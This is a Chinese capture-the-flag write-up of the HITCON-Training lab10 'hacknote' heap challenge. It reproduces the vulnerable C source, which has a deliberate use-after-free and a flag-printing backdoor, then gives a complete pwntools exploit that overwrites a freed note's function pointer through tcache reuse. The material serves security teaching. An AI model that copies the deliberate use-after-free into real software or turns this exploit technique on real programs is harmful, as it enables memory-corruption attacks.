hitcon-training lab10 - hacknote 做题笔记

前言

hitcon-training

lab10 堆利用例题 hacknote

过程

在这里插入图片描述
直接看源码

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

struct note {
	void (*printnote)();
	char *content ;
};

struct note *notelist[5];
int count = 0; 

void print_note_content(struct note *this){
	puts(this->content);
}
void add_note(){
	int i ;
	char buf[8];
	int size ;
	if(count > 5){
		puts("Full");
		return ;
	}
	for(i = 0 ; i < 5 ; i ++){
		if(!notelist[i]){
			notelist[i] = (struct note*)malloc(sizeof(struct note));
			if(!notelist[i]){
				puts("Alloca Error");
				exit(-1);
			}
			notelist[i]->printnote = print_note_content;
			printf("Note size :");
			read(0,buf,8);
			size = atoi(buf);
			notelist[i]->content = (char *)malloc(size);
			if(!notelist[i]->content){
				puts("Alloca Error");
				exit(-1);
			}
			printf("Content :");
			read(0,notelist[i]->content,size);
			puts("Success !");
			count++;
			break;
		}
	}
}

void del_note(){
	char buf[4];
	int idx ;
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= count){
		puts("Out of bound!");
		_exit(0);
	}
	if(notelist[idx]){
		free(notelist[idx]->content);
		free(notelist[idx]);
		puts("Success");
	}
}

void print_note(){
	char buf[4];
	int idx ;
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= count){
		puts("Out of bound!");
		_exit(0);
	}
	if(notelist[idx]){
		notelist[idx]->printnote(notelist[idx]);
	}
}

void magic(){
	system("cat /home/hacknote/flag");
}


void menu(){
	puts("----------------------");
	puts("       HackNote       ");	
	puts("----------------------");
	puts(" 1. Add note          ");
	puts(" 2. Delete note       ");
	puts(" 3. Print note        ");
	puts(" 4. Exit              ");
	puts("----------------------");
	printf("Your choice :");
};

int main(){
	setvbuf(stdout,0,2,0);
	setvbuf(stdin,0,2,0);
	char buf[4];
	while(1){
		menu();
		read(0,buf,4);
		switch(atoi(buf)){
			case 1 :
				add_note();
				break ;
			case 2 :
				del_note();
				break ;
			case 3 :
				print_note();
				break ;
			case 4 :
				exit(0);
				break ;
			default :
				puts("Invalid choice");
				break ;

		}
	}
	return 0;
}

del_note中释放chunk后没有将指针置零, 存在UAF漏洞

	if(notelist[idx]){
		free(notelist[idx]->content);
		free(notelist[idx]);
		puts("Success");
	}

gdb调试, 需要用到pwndbgpwngdb(对, 这是两个不同的玩意儿)
环境安装参考https://blog.csdn.net/weixin_43092232/article/details/105648769

add一个note
在这里插入图片描述

在这里插入图片描述

addnote之后堆块被全局变量notelist的元素引用, 可以看到notelist[0] == 0x804b1a0即指向chunk0的data部分的起始地址处

在这里插入图片描述
然后释放chunk0, 发现指针notelist[0]依然存在, 验证存在UAF漏洞

在这里插入图片描述

然后看到源码中有个后门函数
在这里插入图片描述

利用思路就是通过UAF将note的打印函数改成后门函数, 然后打印就能得到flag
在这里插入图片描述
申请3个16字节的note, 会生成6个chunk, 因为是64位系统, 所以分别为0x10和0x20大小, 如果是32位系统则是0x10和0x18, 按字长两倍对齐, 0x10是note的chunk, 0x20是content的chunk
在这里插入图片描述

然后释放前两个note
在这里插入图片描述
然后申请一个8字节的堆块, 放入catflag, 即可覆写print_notecatflag地址
在这里插入图片描述

exp脚本
# -*- coding: utf-8 -*-
from pwn import *

# host = "training.pwnable.tw"
# port = 11010

# r = remote(host,port)

r = process('./hacknote')

def addnote(size,content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)

def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))

def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

magic = 0x08048986
# system = 0x8048506
addnote(16,"ddaa")
addnote(16,"ddaa")
addnote(16,"ddaa")
delnote(0)
delnote(1)
addnote(8,p32(magic))
printnote(0)
r.interactive()

在这里插入图片描述

总结

之所以存在UAF, 是因为free chunk之后没有将ptr = null
这题中是利用bins(tcache)先进后出的性质, 释放两个chunk后, tcache中会有两个0x10大小的chunk, 再申请8字节的chunk, 会返回两个chunk, 后一个chunk就是之前的chunk0, 写入catflag_addr就会覆盖原chunk0的函数地址print_note_content, 新生成的note不是chunk0, 而是chunk3, 本题的UAF是指释放chunk0后, 又使用了chunk0
在这里插入图片描述
新申请的8字节chunk是新的chunk3
在这里插入图片描述

参考

B站 星盟安全pwn教学视频

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值